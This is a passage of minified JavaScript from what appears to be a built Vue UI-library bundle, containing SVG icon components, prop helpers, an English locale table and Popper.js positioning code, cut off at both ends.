896.064A448 448 0 0 1 512 64m67.2 275.072c33.28 0 60.288-23.104 60.288-57.344s-27.072-57.344-60.288-57.344c-33.28 0-60.16 23.104-60.16 57.344s26.88 57.344 60.16 57.344M590.912 699.2c0-6.848 2.368-24.64 1.024-34.752l-52.608 60.544c-10.88 11.456-24.512 19.392-30.912 17.28a12.992 12.992 0 0 1-8.256-14.72l87.68-276.992c7.168-35.136-12.544-67.2-54.336-71.296-44.096 0-108.992 44.736-148.48 101.504 0 6.784-1.28 23.68.064 33.792l52.544-60.608c10.88-11.328 23.552-19.328 29.952-17.152a12.8 12.8 0 0 1 7.808 16.128L388.48 728.576c-10.048 32.256 8.96 63.872 55.04 71.04 67.84 0 107.904-43.648 147.456-100.416z"})]))}}),N1=MF,CF=ie({name:"Loading",__name:"loading",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M512 64a32 32 0 0 1 32 32v192a32 32 0 0 1-64 0V96a32 32 0 0 1 32-32m0 640a32 32 0 0 1 32 32v192a32 32 0 1 1-64 0V736a32 32 0 0 1 32-32m448-192a32 32 0 0 1-32 32H736a32 32 0 1 1 0-64h192a32 32 0 0 1 32 32m-640 0a32 32 0 0 1-32 32H96a32 32 0 0 1 0-64h192a32 32 0 0 1 32 32M195.2 195.2a32 32 0 0 1 45.248 0L376.32 331.008a32 32 0 0 1-45.248 45.248L195.2 240.448a32 32 0 0 1 0-45.248zm452.544 452.544a32 32 0 0 1 45.248 0L828.8 783.552a32 32 0 0 1-45.248 45.248L647.744 692.992a32 32 0 0 1 0-45.248zM828.8 195.264a32 32 0 0 1 0 45.184L692.992 376.32a32 32 0 0 1-45.248-45.248l135.808-135.808a32 32 0 0 1 45.248 0m-452.544 452.48a32 32 0 0 1 0 45.248L240.448 828.8a32 32 0 0 1-45.248-45.248l135.808-135.808a32 32 0 0 1 45.248 0z"})]))}}),wa=CF,kF=ie({name:"Minus",__name:"minus",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M128 544h768a32 32 0 1 0 0-64H128a32 32 0 0 0 0 64"})]))}}),xF=kF,OF=ie({name:"MoreFilled",__name:"more-filled",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M176 416a112 112 0 1 1 0 224 112 112 0 0 1 0-224m336 0a112 112 0 1 1 0 224 112 112 0 0 1 0-224m336 0a112 112 0 1 1 0 224 112 112 0 0 1 0-224"})]))}}),HS=OF,zF=ie({name:"More",__name:"more",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M176 416a112 112 0 1 0 0 224 112 112 0 0 0 0-224m0 64a48 48 0 1 1 0 96 48 48 0 0 1 0-96m336-64a112 112 0 1 1 0 224 112 112 0 0 1 0-224m0 64a48 48 0 1 0 0 96 48 48 0 0 0 0-96m336-64a112 112 0 1 1 0 224 112 112 0 0 1 0-224m0 64a48 48 0 1 0 0 96 48 48 0 0 0 0-96"})]))}}),KF=zF,RF=ie({name:"PictureFilled",__name:"picture-filled",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M96 896a32 32 0 0 1-32-32V160a32 32 0 0 1 32-32h832a32 32 0 0 1 32 32v704a32 32 0 0 1-32 32zm315.52-228.48-68.928-68.928a32 32 0 0 0-45.248 0L128 768.064h778.688l-242.112-290.56a32 32 0 0 0-49.216 0L458.752 665.408a32 32 0 0 1-47.232 2.112M256 384a96 96 0 1 0 192.064-.064A96 96 0 0 0 256 384"})]))}}),LF=RF,ZF=ie({name:"Plus",__name:"plus",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M480 480V128a32 32 0 0 1 64 0v352h352a32 32 0 1 1 0 64H544v352a32 32 0 1 1-64 0V544H128a32 32 0 0 1 0-64z"})]))}}),D3=ZF,TF=ie({name:"QuestionFilled",__name:"question-filled",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M512 64a448 448 0 1 1 0 896 448 448 0 0 1 0-896m23.744 191.488c-52.096 0-92.928 14.784-123.2 44.352-30.976 29.568-45.76 70.4-45.76 122.496h80.256c0-29.568 5.632-52.8 17.6-68.992 13.376-19.712 35.2-28.864 66.176-28.864 23.936 0 42.944 6.336 56.32 19.712 12.672 13.376 19.712 31.68 19.712 54.912 0 17.6-6.336 34.496-19.008 49.984l-8.448 9.856c-45.76 40.832-73.216 70.4-82.368 89.408-9.856 19.008-14.08 42.24-14.08 68.992v9.856h80.96v-9.856c0-16.896 3.52-31.68 10.56-45.76 6.336-12.672 15.488-24.64 28.16-35.2 33.792-29.568 54.208-48.576 60.544-55.616 16.896-22.528 26.048-51.392 26.048-86.592 0-42.944-14.08-76.736-42.24-101.376-28.16-25.344-65.472-37.312-111.232-37.312zm-12.672 406.208a54.272 54.272 0 0 0-38.72 14.784 49.408 49.408 0 0 0-15.488 38.016c0 15.488 4.928 28.16 15.488 38.016A54.848 54.848 0 0 0 523.072 768c15.488 0 28.16-4.928 38.72-14.784a51.52 51.52 0 0 0 16.192-38.72 51.968 51.968 0 0 0-15.488-38.016 55.936 55.936 0 0 0-39.424-14.784z"})]))}}),NF=TF,jF=ie({name:"RefreshLeft",__name:"refresh-left",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M289.088 296.704h92.992a32 32 0 0 1 0 64H232.96a32 32 0 0 1-32-32V179.712a32 32 0 0 1 64 0v50.56a384 384 0 0 1 643.84 282.88 384 384 0 0 1-383.936 384 384 384 0 0 1-384-384h64a320 320 0 1 0 640 0 320 320 0 0 0-555.712-216.448z"})]))}}),WF=jF,GF=ie({name:"RefreshRight",__name:"refresh-right",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M784.512 230.272v-50.56a32 32 0 1 1 64 0v149.056a32 32 0 0 1-32 32H667.52a32 32 0 1 1 0-64h92.992A320 320 0 1 0 524.8 833.152a320 320 0 0 0 320-320h64a384 384 0 0 1-384 384 384 384 0 0 1-384-384 384 384 0 0 1 643.712-282.88z"})]))}}),YF=GF,BF=ie({name:"ScaleToOriginal",__name:"scale-to-original",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M813.176 180.706a60.235 60.235 0 0 1 60.236 60.235v481.883a60.235 60.235 0 0 1-60.236 60.235H210.824a60.235 60.235 0 0 1-60.236-60.235V240.94a60.235 60.235 0 0 1 60.236-60.235h602.352zm0-60.235H210.824A120.47 120.47 0 0 0 90.353 240.94v481.883a120.47 120.47 0 0 0 120.47 120.47h602.353a120.47 120.47 0 0 0 120.471-120.47V240.94a120.47 120.47 0 0 0-120.47-120.47zm-120.47 180.705a30.118 30.118 0 0 0-30.118 30.118v301.177a30.118 30.118 0 0 0 60.236 0V331.294a30.118 30.118 0 0 0-30.118-30.118zm-361.412 0a30.118 30.118 0 0 0-30.118 30.118v301.177a30.118 30.118 0 1 0 60.236 0V331.294a30.118 30.118 0 0 0-30.118-30.118M512 361.412a30.118 30.118 0 0 0-30.118 30.117v30.118a30.118 30.118 0 0 0 60.236 0V391.53A30.118 30.118 0 0 0 512 361.412M512 512a30.118 30.118 0 0 0-30.118 30.118v30.117a30.118 30.118 0 0 0 60.236 0v-30.117A30.118 30.118 0 0 0 512 512"})]))}}),JF=BF,VF=ie({name:"Search",__name:"search",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"m795.904 750.72 124.992 124.928a32 32 0 0 1-45.248 45.248L750.656 795.904a416 416 0 1 1 45.248-45.248zM480 832a352 352 0 1 0 0-704 352 352 0 0 0 0 704"})]))}}),UF=VF,FF=ie({name:"SortDown",__name:"sort-down",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M576 96v709.568L333.312 562.816A32 32 0 1 0 288 608l297.408 297.344A32 32 0 0 0 640 882.688V96a32 32 0 0 0-64 0"})]))}}),HF=FF,PF=ie({name:"SortUp",__name:"sort-up",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M384 141.248V928a32 32 0 1 0 64 0V218.56l242.688 242.688A32 32 0 1 0 736 416L438.592 118.656A32 32 0 0 0 384 141.248"})]))}}),DF=PF,XF=ie({name:"StarFilled",__name:"star-filled",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M283.84 867.84 512 747.776l228.16 119.936a6.4 6.4 0 0 0 9.28-6.72l-43.52-254.08 184.512-179.904a6.4 6.4 0 0 0-3.52-10.88l-255.104-37.12L517.76 147.904a6.4 6.4 0 0 0-11.52 0L392.192 379.072l-255.104 37.12a6.4 6.4 0 0 0-3.52 10.88L318.08 606.976l-43.584 254.08a6.4 6.4 0 0 0 9.28 6.72z"})]))}}),Wf=XF,QF=ie({name:"Star",__name:"star",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"m512 747.84 228.16 119.936a6.4 6.4 0 0 0 9.28-6.72l-43.52-254.08 184.512-179.904a6.4 6.4 0 0 0-3.52-10.88l-255.104-37.12L517.76 147.904a6.4 6.4 0 0 0-11.52 0L392.192 379.072l-255.104 37.12a6.4 6.4 0 0 0-3.52 10.88L318.08 606.976l-43.584 254.08a6.4 6.4 0 0 0 9.28 6.72zM313.6 924.48a70.4 70.4 0 0 1-102.144-74.24l37.888-220.928L88.96 472.96A70.4 70.4 0 0 1 128 352.896l221.76-32.256 99.2-200.96a70.4 70.4 0 0 1 126.208 0l99.2 200.96 221.824 32.256a70.4 70.4 0 0 1 39.04 120.064L774.72 629.376l37.888 220.928a70.4 70.4 0 0 1-102.144 74.24L512 820.096l-198.4 104.32z"})]))}}),_F=QF,$F=ie({name:"SuccessFilled",__name:"success-filled",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M512 64a448 448 0 1 1 0 896 448 448 0 0 1 0-896m-55.808 536.384-99.52-99.584a38.4 38.4 0 1 0-54.336 54.336l126.72 126.72a38.272 38.272 0 0 0 54.336 0l262.4-262.464a38.4 38.4 0 1 0-54.272-54.336z"})]))}}),X3=$F,eH=ie({name:"View",__name:"view",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M512 160c320 0 512 352 512 352S832 864 512 864 0 512 0 512s192-352 512-352m0 64c-225.28 0-384.128 208.064-436.8 288 52.608 79.872 211.456 288 436.8 288 225.28 0 384.128-208.064 436.8-288-52.608-79.872-211.456-288-436.8-288zm0 64a224 224 0 1 1 0 448 224 224 0 0 1 0-448m0 64a160.192 160.192 0 0 0-160 160c0 88.192 71.744 160 160 160s160-71.808 160-160-71.744-160-160-160"})]))}}),tH=eH,nH=ie({name:"WarningFilled",__name:"warning-filled",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"M512 64a448 448 0 1 1 0 896 448 448 0 0 1 0-896m0 192a58.432 58.432 0 0 0-58.24 63.744l23.36 256.384a35.072 35.072 0 0 0 69.76 0l23.296-256.384A58.432 58.432 0 0 0 512 256m0 512a51.2 51.2 0 1 0 0-102.4 51.2 51.2 0 0 0 0 102.4"})]))}}),Rm=nH,rH=ie({name:"ZoomIn",__name:"zoom-in",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"m795.904 750.72 124.992 124.928a32 32 0 0 1-45.248 45.248L750.656 795.904a416 416 0 1 1 45.248-45.248zM480 832a352 352 0 1 0 0-704 352 352 0 0 0 0 704m-32-384v-96a32 32 0 0 1 64 0v96h96a32 32 0 0 1 0 64h-96v96a32 32 0 0 1-64 0v-96h-96a32 32 0 0 1 0-64z"})]))}}),Q3=rH,oH=ie({name:"ZoomOut",__name:"zoom-out",setup(e){return(t,n)=>(B(),_("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1024 1024"},[ne("path",{fill:"currentColor",d:"m795.904 750.72 124.992 124.928a32 32 0 0 1-45.248 45.248L750.656 795.904a416 416 0 1 1 45.248-45.248zM480 832a352 352 0 1 0 0-704 352 352 0 0 0 0 704M352 448h256a32 32 0 0 1 0 64H352a32 32 0 0 1 0-64"})]))}}),iH=oH;const _3="__epPropKey",he=e=>e,sH=e=>At(e)&&!!e[_3],pi=(e,t)=>{if(!At(e)||sH(e))return e;const{values:n,required:r,default:o,type:i,validator:s}=e,l={type:i,required:!!r,validator:n||s?u=>{let c=!1,f=[];if(n&&(f=Array.from(n),Gt(e,"default")&&f.push(o),c||(c=f.includes(u))),s&&(c||(c=s(u))),!c&&f.length>0){const p=[...new Set(f)].map(m=>JSON.stringify(m)).join(", ");cK(`Invalid prop: validation failed${t?` for prop "${t}"`:""}. Expected one of [${p}], got value ${JSON.stringify(u)}.`)}return c}:void 0,[_3]:!0};return Gt(e,"default")&&(l.default=o),l},Ge=e=>Cp(Object.entries(e).map(([t,n])=>[t,pi(n,t)])),cn=he([String,Object,Function]),j1={Close:fi},W1={Close:fi,SuccessFilled:X3,InfoFilled:N1,WarningFilled:Rm,CircleCloseFilled:T1},ga={success:X3,warning:Rm,error:T1,info:N1},G1={validating:wa,success:Z1,error:qa},It=(e,t)=>{if(e.install=n=>{for(const r of[e,...Object.values(t??{})])n.component(r.name,r)},t)for(const[n,r]of Object.entries(t))e[n]=r;return e},$3=(e,t)=>(e.install=n=>{e._context=n._context,n.config.globalProperties[t]=e},e),aH=(e,t)=>(e.install=n=>{n.directive(t,e)},e),kn=e=>(e.install=on,e),Lm=(...e)=>t=>{e.forEach(n=>{ot(n)?n(t):n.value=t})},_e={tab:"Tab",enter:"Enter",space:"Space",left:"ArrowLeft",up:"ArrowUp",right:"ArrowRight",down:"ArrowDown",esc:"Escape",delete:"Delete",backspace:"Backspace",numpadEnter:"NumpadEnter",pageUp:"PageUp",pageDown:"PageDown",home:"Home",end:"End"},lH=["year","years","month","date","dates","week","datetime","datetimerange","daterange","monthrange"],n0=["sun","mon","tue","wed","thu","fri","sat"],St="update:modelValue",qn="change",Qr="input",PS=Symbol("INSTALLED_KEY"),Ui=["","default","small","large"],e6=e=>["",...Ui].includes(e);var zo=(e=>(e[e.TEXT=1]="TEXT",e[e.CLASS=2]="CLASS",e[e.STYLE=4]="STYLE",e[e.PROPS=8]="PROPS",e[e.FULL_PROPS=16]="FULL_PROPS",e[e.HYDRATE_EVENTS=32]="HYDRATE_EVENTS",e[e.STABLE_FRAGMENT=64]="STABLE_FRAGMENT",e[e.KEYED_FRAGMENT=128]="KEYED_FRAGMENT",e[e.UNKEYED_FRAGMENT=256]="UNKEYED_FRAGMENT",e[e.NEED_PATCH=512]="NEED_PATCH",e[e.DYNAMIC_SLOTS=1024]="DYNAMIC_SLOTS",e[e.HOISTED=-1]="HOISTED",e[e.BAIL=-2]="BAIL",e))(zo||{});function Zg(e){return En(e)&&e.type===Qe}function uH(e){return En(e)&&e.type===Dr}function cH(e){return En(e)&&!Zg(e)&&!uH(e)}const dH=e=>{if(!En(e))return{};const t=e.props||{},n=(En(e.type)?e.type.props:void 0)||{},r={};return Object.keys(n).forEach(o=>{Gt(n[o],"default")&&(r[o]=n[o].default)}),Object.keys(t).forEach(o=>{r[Jo(o)]=t[o]}),r},fH=e=>{if(!Ve(e)||e.length>1)throw new Error("expect to receive a single Vue element child");return e[0]},sa=e=>{const t=Ve(e)?e:[e],n=[];return t.forEach(r=>{var o;Ve(r)?n.push(...sa(r)):En(r)&&Ve(r.children)?n.push(...sa(r.children)):(n.push(r),En(r)&&((o=r.component)!=null&&o.subTree)&&n.push(...sa(r.component.subTree)))}),n},DS=e=>[...new Set(e)],qo=e=>!e&&e!==0?[]:Array.isArray(e)?e:[e],Y1=e=>/([\uAC00-\uD7AF\u3130-\u318F])+/gi.test(e),Mn=e=>e;function hH(e){let t=0;const n=(...r)=>{t&&kl(t),t=ma(()=>{e(...r),t=0})};return n.cancel=()=>{kl(t),t=0},n}const pH=["class","style"],mH=/^on[A-Z]/,B1=(e={})=>{const{excludeListeners:t=!1,excludeKeys:n}=e,r=N(()=>((n==null?void 0:n.value)||[]).concat(pH)),o=bt();return N(o?()=>{var i;return Cp(Object.entries((i=o.proxy)==null?void 0:i.$attrs).filter(([s])=>!r.value.includes(s)&&!(t&&mH.test(s))))}:()=>({}))},ml=({from:e,replacement:t,scope:n,version:r,ref:o,type:i="API"},s)=>{Ce(()=>d(s),a=>{},{immediate:!0})},t6=(e,t,n,r)=>{let o={offsetX:0,offsetY:0};const i=l=>{const u=l.clientX,c=l.clientY,{offsetX:f,offsetY:p}=o,m=e.value.getBoundingClientRect(),g=m.left,v=m.top,I=m.width,q=m.height,M=document.documentElement.clientWidth,E=document.documentElement.clientHeight,x=-g+f,R=-v+p,K=M-g-I+f,W=E-v-q+p,j=P=>{let U=f+P.clientX-u,X=p+P.clientY-c;r!=null&&r.value||(U=Math.min(Math.max(U,x),K),X=Math.min(Math.max(X,R),W)),o={offsetX:U,offsetY:X},e.value&&(e.value.style.transform=`translate(${Yn(U)}, ${Yn(X)})`)},H=()=>{document.removeEventListener("mousemove",j),document.removeEventListener("mouseup",H)};document.addEventListener("mousemove",j),document.addEventListener("mouseup",H)},s=()=>{t.value&&e.value&&t.value.addEventListener("mousedown",i)},a=()=>{t.value&&e.value&&t.value.removeEventListener("mousedown",i)};mt(()=>{Gn(()=>{n.value?s():a()})}),vn(()=>{a()})};var vH={name:"en",el:{breadcrumb:{label:"Breadcrumb"},colorpicker:{confirm:"OK",clear:"Clear",defaultLabel:"color picker",description:"current color is {color}. press enter to select a new color."},datepicker:{now:"Now",today:"Today",cancel:"Cancel",clear:"Clear",confirm:"OK",dateTablePrompt:"Use the arrow keys and enter to select the day of the month",monthTablePrompt:"Use the arrow keys and enter to select the month",yearTablePrompt:"Use the arrow keys and enter to select the year",selectedDate:"Selected date",selectDate:"Select date",selectTime:"Select time",startDate:"Start Date",startTime:"Start Time",endDate:"End Date",endTime:"End Time",prevYear:"Previous Year",nextYear:"Next Year",prevMonth:"Previous Month",nextMonth:"Next Month",year:"",month1:"January",month2:"February",month3:"March",month4:"April",month5:"May",month6:"June",month7:"July",month8:"August",month9:"September",month10:"October",month11:"November",month12:"December",week:"week",weeks:{sun:"Sun",mon:"Mon",tue:"Tue",wed:"Wed",thu:"Thu",fri:"Fri",sat:"Sat"},weeksFull:{sun:"Sunday",mon:"Monday",tue:"Tuesday",wed:"Wednesday",thu:"Thursday",fri:"Friday",sat:"Saturday"},months:{jan:"Jan",feb:"Feb",mar:"Mar",apr:"Apr",may:"May",jun:"Jun",jul:"Jul",aug:"Aug",sep:"Sep",oct:"Oct",nov:"Nov",dec:"Dec"}},inputNumber:{decrease:"decrease number",increase:"increase number"},select:{loading:"Loading",noMatch:"No matching data",noData:"No data",placeholder:"Select"},dropdown:{toggleDropdown:"Toggle Dropdown"},cascader:{noMatch:"No matching data",loading:"Loading",placeholder:"Select",noData:"No data"},pagination:{goto:"Go to",pagesize:"/page",total:"Total {total}",pageClassifier:"",page:"Page",prev:"Go to previous page",next:"Go to next page",currentPage:"page {pager}",prevPages:"Previous {pager} pages",nextPages:"Next {pager} pages",deprecationWarning:"Deprecated usages detected, please refer to the el-pagination documentation for more details"},dialog:{close:"Close this dialog"},drawer:{close:"Close this dialog"},messagebox:{title:"Message",confirm:"OK",cancel:"Cancel",error:"Illegal input",close:"Close this dialog"},upload:{deleteTip:"press delete to remove",delete:"Delete",preview:"Preview",continue:"Continue"},slider:{defaultLabel:"slider between {min} and {max}",defaultRangeStartLabel:"pick start value",defaultRangeEndLabel:"pick end value"},table:{emptyText:"No Data",confirmFilter:"Confirm",resetFilter:"Reset",clearFilter:"All",sumText:"Sum"},tour:{next:"Next",previous:"Previous",finish:"Finish"},tree:{emptyText:"No Data"},transfer:{noMatch:"No matching data",noData:"No data",titles:["List 1","List 2"],filterPlaceholder:"Enter keyword",noCheckedFormat:"{total} items",hasCheckedFormat:"{checked}/{total} checked"},image:{error:"FAILED"},pageHeader:{title:"Back"},popconfirm:{confirmButtonText:"Yes",cancelButtonText:"No"},carousel:{leftArrow:"Carousel arrow left",rightArrow:"Carousel arrow right",indicator:"Carousel switch to index {index}"}}};const gH=e=>(t,n)=>yH(t,n,d(e)),yH=(e,t,n)=>Tn(n,e,e).replace(/\{(\w+)\}/g,(r,o)=>{var i;return`${(i=t==null?void 0:t[o])!=null?i:`{${o}}`}`}),bH=e=>{const t=N(()=>d(e).name),n=mn(e)?e:D(e);return{lang:t,locale:n,t:gH(e)}},n6=Symbol("localeContextKey"),Vt=e=>{const t=e||Fe(n6,D());return bH(N(()=>t.value||vH))},td="el",IH="is-",Na=(e,t,n,r,o)=>{let i=`${e}-${t}`;return n&&(i+=`-${n}`),r&&(i+=`__${r}`),o&&(i+=`--${o}`),i},r6=Symbol("namespaceContextKey"),J1=e=>{const t=e||(bt()?Fe(r6,D(td)):D(td));return N(()=>d(t)||td)},Oe=(e,t)=>{const n=J1(t);return{namespace:n,b:(v="")=>Na(n.value,e,v,"",""),e:v=>v?Na(n.value,e,"",v,""):"",m:v=>v?Na(n.value,e,"","",v):"",be:(v,I)=>v&&I?Na(n.value,e,v,I,""):"",em:(v,I)=>v&&I?Na(n.value,e,"",v,I):"",bm:(v,I)=>v&&I?Na(n.value,e,v,"",I):"",bem:(v,I,q)=>v&&I&&q?Na(n.value,e,v,I,q):"",is:(v,...I)=>{const q=I.length>=1?I[0]:!0;return v&&q?`${IH}${v}`:""},cssVar:v=>{const I={};for(const q in v)v[q]&&(I[`--${n.value}-${q}`]=v[q]);return I},cssVarName:v=>`--${n.value}-${v}`,cssVarBlock:v=>{const I={};for(const q in v)v[q]&&(I[`--${n.value}-${e}-${q}`]=v[q]);return I},cssVarBlockName:v=>`--${n.value}-${e}-${v}`}},V1=(e,t={})=>{mn(e)||tr("[useLockscreen]","You need to pass a ref param to this function");const n=t.ns||Oe("popup"),r=FE(()=>n.bm("parent","hidden"));if(!Tt||Yo(document.body,r.value))return;let o=0,i=!1,s="0";const a=()=>{setTimeout(()=>{Br(document==null?void 0:document.body,r.value),i&&document&&(document.body.style.width=s)},200)};Ce(e,l=>{if(!l){a();return}i=!Yo(document.body,r.value),i&&(s=document.body.style.width),o=U3(n.namespace.value);const u=document.documentElement.clientHeight<document.body.scrollHeight,c=Ds(document.body,"overflowY");o>0&&(u||c==="scroll")&&i&&(document.body.style.width=`calc(100% - ${o}px)`),To(document.body,r.value)}),ub(()=>a())},qH=pi({type:he(Boolean),default:null}),wH=pi({type:he(Function)}),o6=e=>{const t=`update:${e}`,n=`onUpdate:${e}`,r=[t],o={[e]:qH,[n]:wH};return{useModelToggle:({indicator:s,toggleReason:a,shouldHideWhenRouteChanges:l,shouldProceed:u,onShow:c,onHide:f})=>{const p=bt(),{emit:m}=p,g=p.props,v=N(()=>ot(g[n])),I=N(()=>g[e]===null),q=W=>{s.value!==!0&&(s.value=!0,a&&(a.value=W),ot(c)&&c(W))},M=W=>{s.value!==!1&&(s.value=!1,a&&(a.value=W),ot(f)&&f(W))},E=W=>{if(g.disabled===!0||ot(u)&&!u())return;const j=v.value&&Tt;j&&m(t,!0),(I.value||!j)&&q(W)},x=W=>{if(g.disabled===!0||!Tt)return;const j=v.value&&Tt;j&&m(t,!1),(I.value||!j)&&M(W)},R=W=>{Un(W)&&(g.disabled&&W?v.value&&m(t,!1):s.value!==W&&(W?q():M()))},K=()=>{s.value?x():E()};return Ce(()=>g[e],R),l&&p.appContext.config.globalProperties.$route!==void 0&&Ce(()=>({...p.proxy.$route}),()=>{l.value&&s.value&&x()}),mt(()=>{R(g[e])}),{hide:x,show:E,toggle:K,hasUpdateHandler:v}},useModelToggleProps:o,useModelToggleEmits:r}};o6("modelValue");const i6=e=>{const t=bt();return N(()=>{var n,r;return(r=(n=t==null?void 0:t.proxy)==null?void 0:n.$props)==null?void 0:r[e]})};var so="top",Ho="bottom",Po="right",ao="left",U1="auto",cf=[so,Ho,Po,ao],tc="start",Kd="end",SH="clippingParents",s6="viewport",zc="popper",EH="reference",XS=cf.reduce(function(e,t){return e.concat([t+"-"+tc,t+"-"+Kd])},[]),Fl=[].concat(cf,[U1]).reduce(function(e,t){return e.concat([t,t+"-"+tc,t+"-"+Kd])},[]),AH="beforeRead",MH="read",CH="afterRead",kH="beforeMain",xH="main",OH="afterMain",zH="beforeWrite",KH="write",RH="afterWrite",LH=[AH,MH,CH,kH,xH,OH,zH,KH,RH];function Gi(e){return e?(e.nodeName||"").toLowerCase():null}function mi(e){if(e==null)return window;if(e.toString()!=="[object Window]"){var t=e.ownerDocument;return t&&t.defaultView||window}return e}function nc(e){var t=mi(e).Element;return e instanceof t||e instanceof Element}function Bo(e){var t=mi(e).HTMLElement;return e instanceof t||e instanceof HTMLElement}function F1(e){if(typeof ShadowRoot>"u")return!1;var t=mi(e).ShadowRoot;return e instanceof t||e instanceof ShadowRoot}function ZH(e){var t=e.state;Object.keys(t.elements).forEach(function(n){var r=t.styles[n]||{},o=t.attributes[n]||{},i=t.elements[n];!Bo(i)||!Gi(i)||(Object.assign(i.style,r),Object.keys(o).forEach(function(s){var a=o[s];a===!1?i.removeAttribute(s):i.setAttribute(s,a===!0?"":a)}))})}function TH(e){var t=e.state,n={popper:{position:t.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};return Object.assign(t.elements.popper.style,n.popper),t.styles=n,t.elements.arrow&&Object.assign(t.elements.arrow.style,n.arrow),function(){Object.keys(t.elements).forEach(function(r){var o=t.elements[r],i=t.attributes[r]||{},s=Object.keys(t.styles.hasOwnProperty(r)?t.styles[r]:n[r]),a=s.reduce(function(l,u){return l[u]="",l},{});!Bo(o)||!Gi(o)||(Object.assign(o.style,a),Object.keys(i).forEach(function(l){o.removeAttribute(l)}))})}}var a6={name:"applyStyles",enabled:!0,phase:"write",fn:ZH,effect:TH,requires:["computeStyles"]};function Ri(e){return e.split("-")[0]}var vl=Math.max,kp=Math.min,rc=Math.round;function oc(e,t){t===void 0&&(t=!1);var n=e.getBoundingClientRect(),r=1,o=1;if(Bo(e)&&t){var i=e.offsetHeight,s=e.offsetWidth;s>0&&(r=rc(n.width)/s||1),i>0&&(o=rc(n.height)/i||1)}return{width:n.width/r,height:n.height/o,top:n.top/o,right:n.right/r,bottom:n.bottom/o,left:n.left/r,x:n.left/r,y:n.top/o}}function H1(e){var t=oc(e),n=e.offsetWidth,r=e.offsetHeight;return Math.abs(t.width-n)<=1&&(n=t.width),Math.abs(t.height-r)<=1&&(r=t.height),{x:e.offsetLeft,y:e.offsetTop,width:n,height:r}}function l6(e,t){var n=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if(n&&F1(n)){var r=t;do{if(r&&e.isSameNode(r))return!0;r=r.parentNode||r.host}while(r)}return!1}function bs(e){return mi(e).getComputedStyle(e)}function NH(e){return["table","td","th"].indexOf(Gi(e))>=0}function Sa(e){return((nc(e)?e.ownerDocument:e.document)||window.document).documentElement}function Zm(e){return Gi(e)==="html"?e:e.assignedSlot||e.parentNode||(F1(e)?e.host:null)||Sa(e)}function QS(e){return!Bo(e)||bs(e).position==="fixed"?null:e.offsetParent}function jH(e){var t=navigator.userAgent.toLowerCase().indexOf("firefox")!==-1,n=navigator.userAgent.indexOf("Trident")!==-1;if(n&&Bo(e)){var r=bs(e);if(r.position==="fixed")return null}var o=Zm(e);for(F1(o)&&(o=o.host);Bo(o)&&["html","body"].indexOf(Gi(o))<0;){var i=bs(o);if(i.transform!=="none"||i.perspective!=="none"||i.contain==="paint"||["transform","perspective"].indexOf(i.willChange)!==-1||t&&i.willChange==="filter"||t&&i.filter&&i.filter!=="none")return o;o=o.parentNode}return null}function df(e){for(var t=mi(e),n=QS(e);n&&NH(n)&&bs(n).position==="static";)n=QS(n);return n&&(Gi(n)==="html"||Gi(n)==="body"&&bs(n).position==="static")?t:n||jH(e)||t}function P1(e){return["top","bottom"].indexOf(e)>=0?"x":"y"}function nd(e,t,n){return vl(e,kp(t,n))}function WH(e,t,n){var r=nd(e,t,n);return r>n?n:r}function u6(){return{top:0,right:0,bottom:0,left:0}}function c6(e){return Object.assign({},u6(),e)}function d6(e,t){return t.reduce(function(n,r){return n[r]=e,n},{})}var GH=function(e,t){return e=typeof e=="function"?e(Object.assign({},t.rects,{placement:t.placement})):e,c6(typeof 